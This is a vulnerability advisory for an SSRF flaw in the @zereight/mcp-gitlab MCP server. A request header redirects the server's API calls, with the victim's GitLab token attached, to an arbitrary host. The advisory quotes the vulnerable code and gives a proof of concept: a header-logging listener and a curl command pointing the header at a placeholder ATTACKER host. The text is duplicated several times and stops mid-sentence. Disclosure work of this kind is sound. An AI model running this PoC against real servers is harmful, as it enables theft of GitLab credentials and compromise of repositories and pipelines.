CVE-2026-61559

@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

Affected

• Repository: zereight/gitlab-mcp
• Affected versions: All versions through commit 74a8c83
• Patched versions: None at time of report

Severity

High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)

Description

When the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL.

Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.

The vulnerable code appears at two locations.

SSE handler (index.ts:11541):

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check
}

Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  new URL(dynamicApiUrl);                          // syntax-only check
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted
}

In both cases, apiUrl propagates through getEffectiveApiUrl() and into getFetchConfig(), which attaches Private-Token: <victim_token> to every outbound fetch. The token reaches the attacker's host, not GitLab.

Proof of Concept

Run upstream zereight/gitlab-mcp at commit 74a8c83 with ENABLE_DYNAMIC_API_URL=true and REMOTE_AUTHORIZATION=true.

# 1. Start a listener on the attacker host (port 9099)
#    Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('HEADERS:', dict(self.headers))
        self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"

# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
  -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
  -H "Authorization: Bearer ANY_VALID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'

The listener receives:

GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099

The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.

Impact

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors:

• PR:L: reaching the HTTP transport requires presenting some auth token
• S:C: the attack crosses the boundary into GitLab (a separate security domain)
• C:H: victim's GitLab token stolen in one request; full read of all scoped data
• I:H: attacker can push code and modify pipelines with the stolen token
• A:N: the MCP server continues operating normally

Why This Is a Vulnerability, Not Intended Behavior

ENABLE_DYNAMIC_API_URL is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own…

@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

Affected

• Repository: zereight/gitlab-mcp
• Affected versions: All versions through commit 74a8c83
• Patched versions: None at time of report

Severity

High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)

Description

When the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL.

Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.

The vulnerable code appears at two locations.

SSE handler (index.ts:11541):

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check
}

Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  new URL(dynamicApiUrl);                          // syntax-only check
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted
}

In both cases, apiUrl propagates through getEffectiveApiUrl() and into getFetchConfig(), which attaches Private-Token: <victim_token> to every outbound fetch. The token reaches the attacker's host, not GitLab.

Proof of Concept

Run upstream zereight/gitlab-mcp at commit 74a8c83 with ENABLE_DYNAMIC_API_URL=true and REMOTE_AUTHORIZATION=true.

# 1. Start a listener on the attacker host (port 9099)
#    Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('HEADERS:', dict(self.headers))
        self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"

# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
  -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
  -H "Authorization: Bearer ANY_VALID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'

The listener receives:

GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099

The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.

Impact

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors:

• PR:L: reaching the HTTP transport requires presenting some auth token
• S:C: the attack crosses the boundary into GitLab (a separate security domain)
• C:H: victim's GitLab token stolen in one request; full read of all scoped data
• I:H: attacker can push code and modify pipelines with the stolen token
• A:N: the MCP server continues operating normally

Why This Is a Vulnerability, Not Intended Behavior

ENABLE_DYNAMIC_API_URL is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own…